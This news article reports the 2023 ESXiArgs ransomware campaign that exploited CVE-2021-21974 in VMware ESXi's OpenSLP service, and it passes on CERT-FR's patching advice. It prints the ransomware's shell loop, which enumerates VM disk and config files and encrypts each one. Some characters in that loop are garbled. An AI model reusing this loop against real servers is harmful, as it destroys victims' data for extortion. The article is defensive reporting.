ESXiArgs encryption malware launches massive attacks against VMware ESXi servers
Tags: security, vmware, esxi, ovh
Published: 2023-02-06 13:07:26


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r8plwtl0ip9ytjfrj5g3.jpg)

Hosting providers and [CERT-FR](https://www.cert.ssi.gouv.fr/alerte/CERTFR-2023-ALE-015) warn: A new ransomware named ESXiArgs has compromised more than 3,200 VMware ESXi servers in a recent massive hacking campaign. The attackers are exploiting a two-year-old vulnerability ([CVE-2021-21974](https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi)) in OpenSLP (port 427) that allows them to execute remote commands on the vulnerable servers. The vulnerability is related to a dynamic memory overflow in OpenSLP that can be exploited by unauthenticated attackers. This vulnerability affects ESXi version 7.x, ESXi version 6.7.x, and ESXi version 6.5.x.


![Censys.io results](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7btgogat3y0xwho4i69v.png)

Once inside the victim's system, the ransomware encrypts the files on the ESXi server and leaves a ransom note demanding $50,000 in bitcoins to decrypt the data. The encrypted files have extensions like `.vmxf`, `.vmx`, `.vmdk`, `.vmsd`, and `.nvram`. An analysis by experts at OVHcloud suggests that the Nevada encryption engine was responsible for the attacks.

CERT-FR experts recommend installing patches that have been available for a while and checking all vulnerable systems for signs of compromise. As a last resort, they recommend disabling [OpenSLP](https://kb.vmware.com/s/article/76372).

An analysis of the malware by IS expert Michael Gillespie shows that the encryptor has no weaknesses that would allow victims to recover files without paying the ransom. The malware uses the Sosemanuk encryption algorithm. Although the malware operators claim to steal data before encrypting it, victims refute this information and their traffic statistics show no signs of data theft.

It is worth noting that an [exploit](https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9) for this problem has been available since spring 2021 and appeared shortly after the bug was disclosed. It is not at all clear why attackers would wait until now to exploit this bug.

CERT-FR experts strongly recommend everyone to install the patches that have long been available as soon as possible and to check all vulnerable systems for signs of compromise. As a last resort, the experts recommend at least disabling OpenSLP.

An analysis by experts at cloud service provider [OVHcloud](https://blog.ovhcloud.com/ransomware-targeting-vmware-esxi/) blamed the recent Nevada encryption engine for the massive attacks. The experts wrote that "attacks primarily target ESXi servers up to version 7.0 U3i via the OpenSLP port (427)".

At the same time, other experts speculated that a version of the Cheerscrypt ransomware, based on leaked sources of the Babuk crypto-ransomware, could be behind the attacks.

Bleeping Computer reports that victims are actively communicating and asking for help on its [forums](https://www.bleepingcomputer.com/forums/t/782193/esxi-ransomware-help-and-support-topic-esxiargs-args-extension/). According to the data collected, most of the affected organizations were using ESXi servers leased from cloud providers.

The ransomware encrypts files with .vmxf, .vmx, .vmdk, .vmsd, and .nvram extensions on compromised servers, and creates an .args file with metadata for each encrypted document (presumably needed for decryption).

```sh
for volume in $(IFS='\n' esxcli storage filesystem list | grep "/vmfs/volumes/" | awk -F'  ''{print $2}'); do
    echo "START VOLUME: $volume"
    IFS=$'\n'
    for file_e in $( find "/vmfs/volumes/$volume/" -type f \
        -name "*.vmdk" -o \
        -name "*.Vmx" -o \
        -name "*.vmxf" -o \
        -name "*.vmsd" -o \
        -name "*.vmsn" -o \
        -name "*‚vswp" -o \
        -name "* vmss" -o \
        -name "* .nvram" -o \
        -name "* . vmem")
    do
        if [[ -f "$file_e" ]]; then 
            size_kb=$(du -k $file_e | awk '{print $1}')
            if [[ $size_kb -eq 0 ]]; then
                size_kb=1
            fi
            size_step=0
            if [[ $(($size_kb/1024)) -gt 128 ]]; then
                size_step=$((($size_kb/1024/100)-1))
            fi 
            echo "START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: $size_step" "\"$file_e\" $size_step 1 $((size_kb*1024))"
            echo $size_step 1 $((size_kb*1024)) > "$file_e.args"
            nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) > /dev/null 2>&1&
        fi
    done
    IFS-$" "
done
```

Although malware operators claim to steal data before encrypting it, victims refute this information: Victim's traffic statistics show no signs of data theft.

French cloud provider OVH and the French CERT were the first to report the incident, as most of the affected servers are located in France. According to [Censys](https://search.censys.io/search?resource=hosts&sort=RELEVANCE&per_page=25&virtual_hosts=EXCLUDE&q=services.http.response.body%3A+%22How+to+Restore+Your+Files%22+and+services.http.response.html_title%3A%22How+to+Restore+Your+Files%22) (ransom note file search), more than 3,200 servers have been encrypted so far, and about a third of them are located in France.


![ransom note demanding $50,000 in bitcoins to decrypt the data](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qa7mgmwm9op66bqwnghg.png)